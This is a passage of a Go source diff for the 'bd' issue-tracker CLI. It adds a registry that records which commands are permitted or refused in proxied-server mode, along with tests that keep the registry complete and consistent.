+// inherits its code from, and because a parent that later gains a Run must not +// silently become permitted. +func (r capabilityRow) asParentGroup() capabilityRow { + r.Note = "parent group: cobra shows help instead of reaching the gate" + return r +} + +func (r capabilityRow) withMessage(message string) capabilityRow { + r.Rule.Message = message + return r +} + +// refusedPath builds a typed front-door refusal for a bare command path. +func refusedPath(path, code string, reason ProxyRefusalReason, tracking string) capabilityRow { + return refusedArgs(path, "", code, reason, tracking) +} + +// refusedArgs builds a typed front-door refusal keyed on a flag set. +func refusedArgs(path, argSet, code string, reason ProxyRefusalReason, tracking string) capabilityRow { + row := capabilityRow{Path: path, ArgSet: argSet} + row.Rule = proxyCapabilityRule{ + Outcome: ProxyOutcomeRefused, + Code: code, + Message: row.display() + " is not supported in proxied-server mode", + ExitCode: 1, + Reason: reason, + Tracking: tracking, + } + return row +} + +// refusedInRunE records a command that the gate permits and that then refuses +// itself with an untyped string from RunE. The row carries no message: the +// string lives in the command, and duplicating it here would rot. The scan in +// TestProxyCapabilityRegistryCoversInlineRefusals keeps the two in step. +// +// The reason is always "unimplemented" and the owner is always the long-tail +// slice, because an untyped string inside RunE is not a considered policy +// statement: a refusal decided on purpose belongs in the gate, typed, where a +// consumer can read it. Anything here is a family nobody has routed yet. +func refusedInRunE(path, site string) capabilityRow { + return capabilityRow{ + Path: path, + Rule: proxyCapabilityRule{ + Outcome: ProxyOutcomeRefusedInRunE, ExitCode: 1, + Reason: ProxyReasonUnimplemented, Tracking: trackLongTail, + }, + Note: "untyped refusal in " + site, + } +} + +// permitted records that the gate lets a path through. See the header: this is +// a statement about the gate, not a promise that a proxied route exists. +func permitted(path string) capabilityRow { + return capabilityRow{Path: path, Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}} +} + +// proxyCapabilityRegistry is the whole path-keyed policy. Rows for permitted +// paths are appended from proxyPermittedPaths by init. +var proxyCapabilityRegistry = []capabilityRow{ + // --- doctor ------------------------------------------------------------- + // Diagnosis needs no version-control surface; the checks simply have no + // proxied dual yet. S6 splits them into client-local and store-backed. + refusedPath("doctor", "proxy.doctor.unsupported", ProxyReasonUnimplemented, trackDegradation), + + // --- backup / restore --------------------------------------------------- + // CALL DOLT_BACKUP(...) is pure SQL over a connection proxied mode already + // owns, so this family is plumbing, not policy. Locality policy (file:// + // URLs naming the server's filesystem on external topologies) is decided + // per topology when S3 lands. + refusedPath("backup", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup). + asParentGroup(), + refusedPath("backup init", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup sync", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup remove", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup status", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup restore", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + + // --- version control over a shared history ------------------------------ + // Refused by design: these mutate or traverse a history that several + // clients share through one connection, and the per-client semantics + // (whose working set? whose branch head?) are undefined. `diff` is the one + // plausible 1.4 candidate, via the dolt_diff system tables. + refusedPath("branch", "proxy.branch.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly), + refusedPath("diff", "proxy.diff.unsupported", ProxyReasonDesign, "1.4 candidate: dolt_diff system tables"), + refusedPath("flatten", "proxy.flatten.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly), + refusedPath("conflicts", "proxy.conflicts.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("conflicts list", "proxy.conflicts.unsupported", ProxyReasonDesign, ""), + refusedPath("conflicts show", "proxy.conflicts.unsupported", ProxyReasonDesign, ""), + refusedPath("conflicts resolve", "proxy.conflicts.unsupported", ProxyReasonDesign, ""), + refusedPath("vc", "proxy.vc.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("vc merge", "proxy.vc.unsupported", ProxyReasonDesign, ""), + refusedPath("vc commit", "proxy.vc.unsupported", ProxyReasonDesign, ""), + refusedPath("vc status", "proxy.vc.unsupported", ProxyReasonDesign, ""), + refusedPath("federation", "proxy.federation.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("federation sync", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation status", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation add-peer", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation remove-peer", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation list-peers", "proxy.federation.unsupported", ProxyReasonDesign, ""), + + // --- multi-repo routing ------------------------------------------------- + // Routing to another workspace bypasses the proxied root entirely, which is + // the same reason --repo is N/A mode-wide. + refusedPath("repo", "proxy.repo.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("repo add", "proxy.repo.unsupported", ProxyReasonDesign, ""), + refusedPath("repo remove", "proxy.repo.unsupported", ProxyReasonDesign, ""), + refusedPath("repo list", "proxy.repo.unsupported", ProxyReasonDesign, ""), + refusedPath("repo sync", "proxy.repo.unsupported", ProxyReasonDesign, ""), + + // --- dolt version-control verbs ----------------------------------------- + // CALL DOLT_PUSH/DOLT_PULL/DOLT_COMMIT are SQL procedures and the generic + // repository that wraps them is already written; these need a use case and + // a route, not proxy work. `dolt remote remove` is already routed, which is + // the precedent. + refusedPath("dolt commit", "proxy.dolt_commit.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt push", "proxy.dolt_push.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt pull", "proxy.dolt_pull.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt remote", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("dolt remote add", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt remote list", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt remote reset-data", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("sync", "proxy.sync.unsupported", ProxyReasonUnimplemented, trackSync). + withHistory(HistoryDirectOnly), + + // --- migration and workspace surgery ------------------------------------ + // Storage-format and workspace surgery against a store other clients may be + // holding open. `migrate schema` is the exception and is already routed: + // the provider open runs it under the migration gate. + // + // S7 MUST RE-EXAMINE THE ROWS BELOW PER TOPOLOGY. "A store other clients may + // be holding open" describes external and team-server workspaces; it does + // not describe managed-local, which is 1:1 and bd-owned — bd spawned the + // dolt child itself. A row cannot yet say "refused, except on managed-local" + // (S3's backup locality policy is the slice that adds per-topology rules), + // so the blanket refusal is the only thing this table can express today. + // These rows keep it because nobody has done the semantic work to narrow + // them, not because the work has been done and come out this way. + refusedPath("migrate", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + refusedPath("migrate sync", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + // `migrate hooks` is the one row in this block the surgery rationale never + // described: it plans and applies GIT HOOK FILE migration (migrate_hooks.go + // -> doctor.PlanHookMigration) on the local filesystem and opens no store at + // all. It is refused for a structural reason instead — the command is wired + // into the store-opening path it does not need. It is on none of main.go's + // store-init skip lists, so permitting it makes the root pre-run open the + // proxied provider before RunE ever runs. Measured, not assumed: with this + // row flipped to permitted, `bd migrate hooks --dry-run` on a managed-local + // workspace started the proxy AND its dolt child (both pidfiles present) to + // print a hook plan, and on a workspace with an unreadable sidecar it exited + // 1 with "failed to open uow provider: corrupt proxied-server sidecar ..." + // where it had cleanly refused before. Trading a typed refusal for a + // connection error is not a lift. The honest fix is to take the command off + // the store path first, which is S7's job, not this slice's. + refusedPath("migrate hooks", "proxy.migrate.unsupported", ProxyReasonUnimplemented, + trackLongTail+" (specifically: put `migrate hooks` on main.go's store-init skip list, then permit it)"), + refusedPath("migrate issues", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + refusedPath("migrate-issues", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + refusedPath("migrate-personal", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + + // --- destructive admin -------------------------------------------------- + // Same topology-blind rationale as the migrate block above, and the same + // instruction to S7: "destructive against a possibly-shared store" is a + // claim about external and team-server shapes. On managed-local the store is + // this workspace's alone, and `bd admin reset` there is no more shared than + // it is in embedded mode, where it is honored. Re-examine per topology. + refusedPath("admin cleanup", "proxy.admin.unsupported", ProxyReasonDesign, ""), + refusedPath("admin reset", "proxy.admin.unsupported", ProxyReasonDesign, ""), + // --- issue compaction --------------------------------------------------- + // `bd admin compact` without --dolt is the description-rewriting pass; only + // the --dolt arm has a proxied route (runCompactDoltProxiedServer). The + // --dolt arm is decided by flag VALUE, so the gate keeps a value-aware + // branch for it and lands here when the flag is off. + refusedPath("admin compact", "proxy.compact.unsupported", ProxyReasonUnimplemented, trackLongTail). + withMessage("only 'compact --dolt' is supported in proxied-server mode"), + // `bd restore` recovers a COMPACTED ISSUE's original text, not a backup — + // the backup verb is `bd backup restore`. Its snapshot read is ordinary + // CRUD; only its fallback path (reconstructing from Dolt history when no + // snapshot was archived) touches version control. + refusedPath("restore", "proxy.restore.unsupported", ProxyReasonUnimplemented, trackLongTail), + + // --- gates, formulas, swarm, merge slots -------------------------------- + // Ordinary CRUD over a store with no version-control surface. They stay + // refused because nothing downstream has asked for them, which is this + // codebase's standing rule for lifting a refusal — not because the proxied + // topology makes them wrong. + refusedPath("gate discover", "proxy.gate.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("cook", "proxy.formula.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("ship", "proxy.formula.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("swarm create", "proxy.swarm.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("swarm list", "proxy.swarm.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot create", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot check", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot acquire", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot release", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + + // --- transforms --------------------------------------------------------- + // ID rewrites walk every reference in the store. They need a routed + // multi-statement transaction, which the UOW can express; nobody has + // written it. The arg-set rows are what let the read-only preview of a + // duplicate merge stay honored while the merge itself is refused. + refusedPath("rename", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("rename-prefix", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("rename-prefix", "--dry-run", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("rename-prefix", "--repair", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("rename-prefix", "--dry-run --repair", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("duplicate", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("duplicate", "--of", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("supersede", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("supersede", "--with", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("duplicates", "--auto-merge", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + // The dry run reports what the merge WOULD do without writing anything, so + // it rides the read path plain `duplicates` already uses. + {Path: "duplicates", ArgSet: "--auto-merge --dry-run", Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}}, + + // --- routed history ----------------------------------------------------- + // The two paths that already have a proxied route, recorded so the class is + // asserted rather than remembered. + permitted("history").withHistory(HistoryProxySupported), + permitted("dolt remote remove").withHistory(HistoryProxySupported), + + // --- untyped refusals inside RunE --------------------------------------- + // The gate permits these paths and the command refuses itself with a bare + // string, so a JSON consumer gets no code and no mutates flag. They are + // listed to inventory that surface, not to enforce it: converting them to + // typed refusals changes observable output and belongs to the slice that + // owns each family. Tracker verbs are ordinary store reads plus a network + // call; nothing about the proxied topology makes them wrong. + refusedInRunE("ado status", "ado.go"), + refusedInRunE("ado projects", "ado.go"), + refusedInRunE("ado sync", "ado.go"), + refusedInRunE("github status", "github.go"), + refusedInRunE("github repos", "github.go"), + refusedInRunE("github sync", "github.go"), + refusedInRunE("gitlab status", "gitlab.go"), + refusedInRunE("gitlab projects", "gitlab.go"), + refusedInRunE("gitlab sync", "gitlab.go"), + refusedInRunE("notion status", "notion.go"), + refusedInRunE("notion init", "notion.go"), + refusedInRunE("notion connect", "notion.go"), + refusedInRunE("notion sync", "notion.go"), + refusedInRunE("create-form", "create_form.go"), +} + +// proxyPermittedPaths lists every command path the proxied front door lets +// through. It exists so that a command added without a policy decision fails +// TestProxyCapabilityRegistryCoversCommandTree instead of shipping — the whole +// point of the registry. Being listed here says the GATE permits the path; a +// permitted command with no proxied route still fails at the store factory with +// proxy.store.unrouted. +var proxyPermittedPaths = []string{ + // issue CRUD and queries + "assign", "batch", "blocked", "children", "close", "comment", "count", "create", + "defer", "delete", "duplicates", "edit", "export", "find-duplicates", "forget", + "gc", "graph", "graph check", "heartbeat", "import", "info", "lint", "link", + "list", "note", "orphans", "priority", "promote", "prune", "purge", "q", "query", + "ready", "recompute-blocked", "reclaim", "reopen", "search", "set-state", "show", + "stale", "status", "statuses", "tag", "types", "unclaim", "undefer", "update", + + // comments, dependencies, labels, key-value + "comments", "comments add", "comments list", + "dep", "dep add", "dep cycles", "dep list", "dep relate", "dep remove", "dep tree", "dep unrelate", + "kv clear", "kv get", "kv list", "kv set", + "label add", "label list", "label list-all", "label propagate", "label remove", + + // molecules, epics, todos, state + "epic close-eligible", "epic status", + "mol bond", "mol burn", "mol current", "mol distill", "mol last-activity", "mol pour", + "mol progress", "mol ready", "mol seed", "mol show", "mol squash", "mol stale", + "mol wisp", "mol wisp create", "mol wisp gc", "mol wisp list", + "state", "state list", "todo", "todo add", "todo done", "todo list", + + // gates, rules, provenance, audit, upgrade review + "audit label", "audit record", + "gate add-waiter", "gate check", "gate create", "gate list", "gate resolve", "gate show", + "provenance by-ref", "provenance log", "provenance record", + "rules audit", "rules compact", + "upgrade ack", "upgrade review", "upgrade status", + + // workspace lifecycle and configuration + "bootstrap", "config apply", "config drift", "config get", "config list", "config set", + "config set-many", "config show", "config unset", "config validate", "context", + "init", "init-safety", "onboard", "preflight", "quickstart", "schema", "setup", "where", + "version", "worktree create", "worktree info", "worktree list", "worktree remove", + + // storage, history and migration paths that are already routed or store-free + "compact", "events export", "events prune", "events tail", + "dolt clean-databases", "dolt killall", "dolt set", "dolt show", "dolt status", + "dolt start", "dolt stop", "dolt test", + "migrate from-proxied-server-to-server", "migrate from-proxied-server-to-shared-server", + "migrate from-server-to-proxied-server", "migrate from-shared-server-to-proxied-server", + "migrate legacy-sqlite", "migrate schema", + + // formulas (parser-only), agent memory, swarm reads + "formula convert", "formula list", "formula schema", "formula show", + "mail", "memories", "ping", "prime", "recall", "remember", + "swarm status", "swarm validate", + + // human-in-the-loop queue + "human", "human dismiss", "human list", "human respond", "human stats", + + // trackers: the verbs with no proxied refusal of any kind + "ado pull", "ado push", "github pull", "github push", "gitlab pull", "gitlab push", + "jira pull", "jira push", "jira status", "jira sync", + "linear pull", "linear push", "linear status", "linear sync", "linear teams", + "notion pull", "notion push", + + // hooks, metrics, serving and internal entry points + "hooks install", "hooks list", "hooks run", "hooks uninstall", + "metrics", "metrics example", "metrics off", "metrics on", + "serve", "sql", + "codex-hook", "cursor-hook", "db-proxy-child", "send-metrics", +} + +func init() { + for _, path := range proxyPermittedPaths { + proxyCapabilityRegistry = append(proxyCapabilityRegistry, permitted(path)) + } + proxyCapabilityIndex = make(map[string]capabilityRow, len(proxyCapabilityRegistry)) + for _, row := range proxyCapabilityRegistry { + proxyCapabilityIndex[capabilityKey(row.Path, row.ArgSet)] = row + } +} + +// proxyCapabilityIndex is proxyCapabilityRegistry keyed for lookup. Duplicate +// keys are rejected by TestProxyCapabilityRegistryHasNoDuplicateRows rather +// than by a panic here: a typo must fail the build, not every bd invocation. +var proxyCapabilityIndex map[string]capabilityRow + +func capabilityKey(path, argSet string) string { return path + "\x00" + argSet } + +// LookupCapabilityRow returns the row for an exact path/arg-set key. +func LookupCapabilityRow(path, argSet string) (capabilityRow, bool) { + row, ok := proxyCapabilityIndex[capabilityKey(path, argSet)] + return row, ok +} + +// capabilityRowFor resolves a command to its row, preferring the row keyed on +// the flags the invocation actually set over the bare path. +// +// The fallback to the bare row is what lets one table serve both halves of the +// old policy: a path row refuses whatever flags were passed unless a more +// specific row says otherwise, so `backup sync --dry-run` is still refused by +// the `backup sync` row. The predecessor of the arg-set half matched exactly or +// not at all, which meant an unlisted flag combination on a refused path +// slipped through; no such combination exists among the commands that carry +// these flags, so nothing changes today, and the fallback is why none can +// appear later. +func capabilityRowFor(cmd *cobra.Command) (capabilityRow, bool) { + path := commandRegistryPath(cmd) + if argSet := commandPolicyArgSet(cmd); argSet != "" { + if row, ok := LookupCapabilityRow(path, argSet); ok { + return row, true + } + } + return LookupCapabilityRow(path, "") +} + +// commandRegistryPath is the registry key for a command: its full path with the +// root name removed, for example "dolt remote add". +func commandRegistryPath(cmd *cobra.Command) string { + return strings.TrimSpace(strings.TrimPrefix(cmd.CommandPath(), cmd.Root().Name())) +} + +// proxyPolicyArgFlags are the flags that take part in a capability key. Only +// flags that alter a command's execution belong here: output, tracing and other +// inherited root flags must never bypass a refusal by changing the key. +var proxyPolicyArgFlags = map[string]bool{ + "auto-merge": true, "dry-run": true, "repair": true, "of": true, "with": true, +} + +// commandPolicyArgSet renders the set flags that take part in the key, sorted so +// the key does not depend on the order the user typed them. +func commandPolicyArgSet(cmd *cobra.Command) string { + var args []string + cmd.Flags().Visit(func(f *pflag.Flag) { + if proxyPolicyArgFlags[f.Name] { + args = append(args, "--"+f.Name) + } + }) + sort.Strings(args) + return strings.Join(args, " ") +} + +// validateProxyRegistryBeforeProvider is the path-keyed half of the proxied +// front door: it rejects direct-only commands before migrations, auto-start or +// provider construction, so a refusal leaves the workspace untouched. The +// flag-keyed half is validateProxyCapabilitiesBeforeProvider. +func validateProxyRegistryBeforeProvider(cmd *cobra.Command) error { + if cmd == nil { + return nil + } + // `compact` is the one rule that a flag VALUE decides rather than a flag's + // presence, so it cannot be expressed as an arg-set row. `bd compact` and + // `bd rules compact` have no --dolt flag at all and are never refused here; + // `bd admin compact --dolt` has a proxied route and falls through to it. + if cmd.Name() == "compact" { + if cmd.Flags().Lookup("dolt") == nil { + return nil + } + if dolt, _ := cmd.Flags().GetBool("dolt"); dolt { + return nil + } + } + row, ok := capabilityRowFor(cmd) + if !ok || row.Rule.Outcome != ProxyOutcomeRefused { + return nil + } + return HandleProxyCapabilityError(proxyCapabilityErrorFor(row.Rule)) +} + +func proxyCapabilityErrorFor(rule proxyCapabilityRule) *ProxyCapabilityError { + return &ProxyCapabilityError{ + Code: rule.Code, + Message: rule.Message, + ExitCode: rule.ExitCode, + Mutates: rule.Mutates, + Reason: rule.Reason, + } +} + +// HistoryCapabilityClass classifies history/version-control commands on the +// proxied topology without coupling them to a particular backend engine. +type HistoryCapabilityClass string + +const ( + HistoryProxySupported HistoryCapabilityClass = "proxy-supported" + HistoryDirectOnly HistoryCapabilityClass = "direct-only" +) + +// LookupHistoryCapability classifies an exact command path. Paths with no +// history classification are intentionally absent so callers cannot +// accidentally advertise support. +func LookupHistoryCapability(commandPath string) (HistoryCapabilityClass, bool) { + row, ok := LookupCapabilityRow(commandPath, "") + if !ok || row.History == "" { + return "", false + } + return row.History, true +} diff --git a/cmd/bd/history_capability_test.go b/cmd/bd/capability_registry_history_test.go similarity index 92% rename from cmd/bd/history_capability_test.go rename to cmd/bd/capability_registry_history_test.go index cc277190d..c0319a73b 100644 --- a/cmd/bd/history_capability_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -31,7 +31,7 @@ func TestSyncRefusesBeforeProvider(t *testing.T) { root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: "sync"} root.AddCommand(cmd) - err := validateProxyMaintenanceBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if err == nil { t.Fatalf("sync refusal = %#v", err) } @@ -71,7 +71,7 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { } uowProvider = nil jsonOutput = true - out := captureStdout(t, func() error { _ = validateProxyMaintenanceBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) var got map[string]any want := expected[path] if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != want.code || got["error"] != want.message || got["mutates"] != false { @@ -104,7 +104,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyMaintenanceBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if path == "dolt remote remove" { if err != nil { t.Fatalf("supported %s refused: %v", path, err) @@ -118,9 +118,9 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { t.Fatalf("%s exit=%v, want 1", path, err) } var got map[string]any - // validateProxyMaintenanceBeforeProvider renders the typed refusal to + // validateProxyRegistryBeforeProvider renders the typed refusal to // stdout in JSON mode; the command must retain its nested path. - out := captureStdout(t, func() error { _ = validateProxyMaintenanceBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) if err := json.Unmarshal([]byte(out), &got); err != nil { t.Fatalf("%s refusal JSON: %v (%q)", path, err, out) } @@ -132,7 +132,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { root := &cobra.Command{Use: "bd"} history := &cobra.Command{Use: "history"} root.AddCommand(history) - if err := validateProxyMaintenanceBeforeProvider(history); err != nil { + if err := validateProxyRegistryBeforeProvider(history); err != nil { t.Fatalf("history --events supported path refused: %v", err) } } diff --git a/cmd/bd/capability_registry_test.go b/cmd/bd/capability_registry_test.go new file mode 100644 index 000000000..f6f7f47c1 --- /dev/null +++ b/cmd/bd/capability_registry_test.go @@ -0,0 +1,399 @@ +package main + +import ( + "errors" + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" + + "github.com/spf13/cobra" +) + +// cobraBuiltinCommands are added to the tree by cobra itself, not by bd, and +// only once something calls Execute — which another test in this package does +// (completions_test.go runs __complete). Without this set the completeness test +// below would pass or fail depending on test ORDER, which is the worst possible +// property for a policy gate. +var cobraBuiltinCommands = map[string]bool{ + "help": true, "completion": true, "__complete": true, "__completeNoDesc": true, +} + +// walkCommandPaths returns every command path in the tree, with the runnable +// ones flagged. Runnable is the property that matters: cobra returns ErrHelp +// for a non-runnable parent before PersistentPreRunE, so a group command never +// reaches the capability gate at all. +func walkCommandPaths(root *cobra.Command) map[string]bool { + paths := map[string]bool{} + var walk func(c *cobra.Command) + walk = func(c *cobra.Command) { + if cobraBuiltinCommands[c.Name()] { + return + } + if path := commandRegistryPath(c); path != "" { + paths[path] = c.Runnable() + } + for _, sub := range c.Commands() { + walk(sub) + } + } + walk(root) + return paths +} + +// TestProxyCapabilityRegistryCoversCommandTree is the reason this registry +// exists. Every command that can actually run must state what the proxied front +// door does with it. A new command with no row fails here, at build time, rather +// than shipping and dying in the store factory with an untyped error — which is +// how every scattered refusal in this codebase got there. +// +// Adding a row is not a formality: choose the outcome deliberately. +// - the command works over the proxied provider, or never opens a store at +// all => add its path to proxyPermittedPaths +// - the command must not run on a shared/proxied store => add a refusedPath +// row with Reason=design and say why in a comment +// - the command could work but nobody has routed it => add a refusedPath row +// with Reason=unimplemented and a Tracking item +func TestProxyCapabilityRegistryCoversCommandTree(t *testing.T) { + var missing []string + for path, runnable := range walkCommandPaths(rootCmd) { + if !runnable { + continue + } + if _, ok := LookupCapabilityRow(path, ""); !ok { + missing = append(missing, path) + } + } + sort.Strings(missing) + if len(missing) > 0 { + t.Fatalf("%d command(s) have no proxied-server capability row:\n %s\n\n"+ + "Add each to cmd/bd/capability_registry.go: proxyPermittedPaths if the proxied "+ + "front door should let it through, or a refusedPath row with a Reason if it should not.", + len(missing), strings.Join(missing, "\n ")) + } +} + +// TestProxyCapabilityRegistryHasNoStaleRows is the other direction: a row whose +// command no longer exists is policy for nothing, and would hide the renamed +// command's own missing row behind a green test. +func TestProxyCapabilityRegistryHasNoStaleRows(t *testing.T) { + tree := walkCommandPaths(rootCmd) + var stale []string + for _, row := range proxyCapabilityRegistry { + if _, ok := tree[row.Path]; !ok { + stale = append(stale, row.display()) + } + } + sort.Strings(stale) + if len(stale) > 0 { + t.Fatalf("registry rows for commands that do not exist:\n %s", strings.Join(stale, "\n ")) + } +} + +func TestProxyCapabilityRegistryHasNoDuplicateRows(t *testing.T) { + seen := map[string]bool{} + for _, row := range proxyCapabilityRegistry { + key := capabilityKey(row.Path, row.ArgSet) + if seen[key] { + t.Errorf("duplicate registry row for %q: one of them is dead and the lookup silently picks the last", row.display()) + } + seen[key] = true + } +} + +// TestProxyCapabilityRegistryRowInvariants pins the contract every row must +// satisfy. The Reason rules are the load-bearing ones: a refusal with no reason +// is exactly the tribal knowledge this registry replaces, and an unimplemented +// refusal with no tracking item is a gap nobody owns. +func TestProxyCapabilityRegistryRowInvariants(t *testing.T) { + for _, row := range proxyCapabilityRegistry { + switch row.Rule.Outcome { + case ProxyOutcomeRefused: + if row.Rule.Code == "" || row.Rule.Message == "" || row.Rule.ExitCode != 1 { + t.Errorf("%s: refusal must carry a code, a message and exit 1, got %#v", row.display(), row.Rule) + } + if row.Rule.Mutates { + t.Errorf("%s: a refusal never mutates", row.display()) + } + if !strings.HasPrefix(row.Rule.Code, "proxy.") { + t.Errorf("%s: code %q must be in the stable proxy.* namespace", row.display(), row.Rule.Code) + } + case ProxyOutcomeRefusedInRunE: + if row.Rule.Code != "" { + t.Errorf("%s: an untyped RunE refusal has no code; if it has one it belongs in the gate", row.display()) + } + case ProxyOutcomeHonored: + if row.Rule.Reason != "" { + t.Errorf("%s: Reason explains a refusal; an honored row must not carry one", row.display()) + } + default: + t.Errorf("%s: unexpected outcome %q", row.display(), row.Rule.Outcome) + } + + refusal := row.Rule.Outcome == ProxyOutcomeRefused || row.Rule.Outcome == ProxyOutcomeRefusedInRunE + if refusal { + switch row.Rule.Reason { + case ProxyReasonDesign, ProxyReasonUnimplemented: + default: + t.Errorf("%s: refusal must declare Reason design or unimplemented, got %q", row.display(), row.Rule.Reason) + } + if row.Rule.Reason == ProxyReasonUnimplemented && row.Rule.Tracking == "" { + t.Errorf("%s: an unimplemented refusal needs a Tracking item naming who closes it", row.display()) + } + } + if row.History == HistoryDirectOnly && row.Rule.Outcome != ProxyOutcomeRefused { + t.Errorf("%s: classified direct-only but the gate does not refuse it", row.display()) + } + if row.History == HistoryProxySupported && row.Rule.Outcome != ProxyOutcomeHonored { + t.Errorf("%s: classified proxy-supported but the gate refuses it", row.display()) + } + } +} + +// inlineProxiedRefusal matches the untyped refusals commands raise from their +// own RunE, e.g. HandleErrorRespectJSON("gitlab sync is not supported in +// proxied-server mode"). +var inlineProxiedRefusal = regexp.MustCompile(`HandleErrorRespectJSON\("([^"]*proxied-server mode)"\)`) + +// inlineProxiedMessages classifies the messages that do not name their command +// path in the standard " is not supported ..." shape. A path maps the +// message to its registry row; an empty string records a message that mentions +// proxied mode without being a capability refusal at all. Keeping both explicit +// is what lets the scan below be exhaustive rather than best-effort. +var inlineProxiedMessages = map[string]string{ + "only 'compact --dolt' is supported in proxied-server mode": "admin compact", + // Not a refusal: --database is the flag that only MAKES SENSE on a proxied + // workspace, so this fires on the direct topologies. + "--database (or a --db value naming a database) is only supported in proxied-server mode": "", +} + +// TestProxyCapabilityRegistryCoversInlineRefusals scans the package for +// refusals raised inside RunE and requires each one to resolve to a registry +// row. Those strings are the untyped half of the refusal surface — no code, no +// mutates flag, nothing a JSON consumer can classify — and before the registry +// they were discoverable only by grep. +// +// The scan runs in both directions on purpose: a new inline refusal must be +// registered, and a ProxyOutcomeRefusedInRunE row whose string has been deleted +// must be flipped to its new outcome by the slice that deleted it. +func TestProxyCapabilityRegistryCoversInlineRefusals(t *testing.T) { + entries, err := os.ReadDir(".") + if err != nil { + t.Fatalf("read package dir: %v", err) + } + + found := map[string]string{} // registry path -> file it was found in + for _, entry := range entries { + name := entry.Name() + if entry.IsDir() || !strings.HasSuffix(name, ".go") || strings.HasSuffix(name, "_test.go") { + continue + } + src, err := os.ReadFile(filepath.Clean(name)) + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + for _, match := range inlineProxiedRefusal.FindAllStringSubmatch(string(src), -1) { + message := match[1] + path, ok := inlineRefusalPath(message) + if !ok { + t.Errorf("%s: %q mentions proxied-server mode but does not name a command path; "+ + "add it to inlineProxiedMessages so it can be checked against the registry "+ + "(map it to \"\" if it is not a capability refusal)", name, message) + continue + } + if path == "" { + continue // documented non-refusal + } + found[path] = name + } + } + + for path, file := range found { + argSet := "" + if base, args, split := strings.Cut(path, " --"); split { + argSet = "--" + args + path = base + 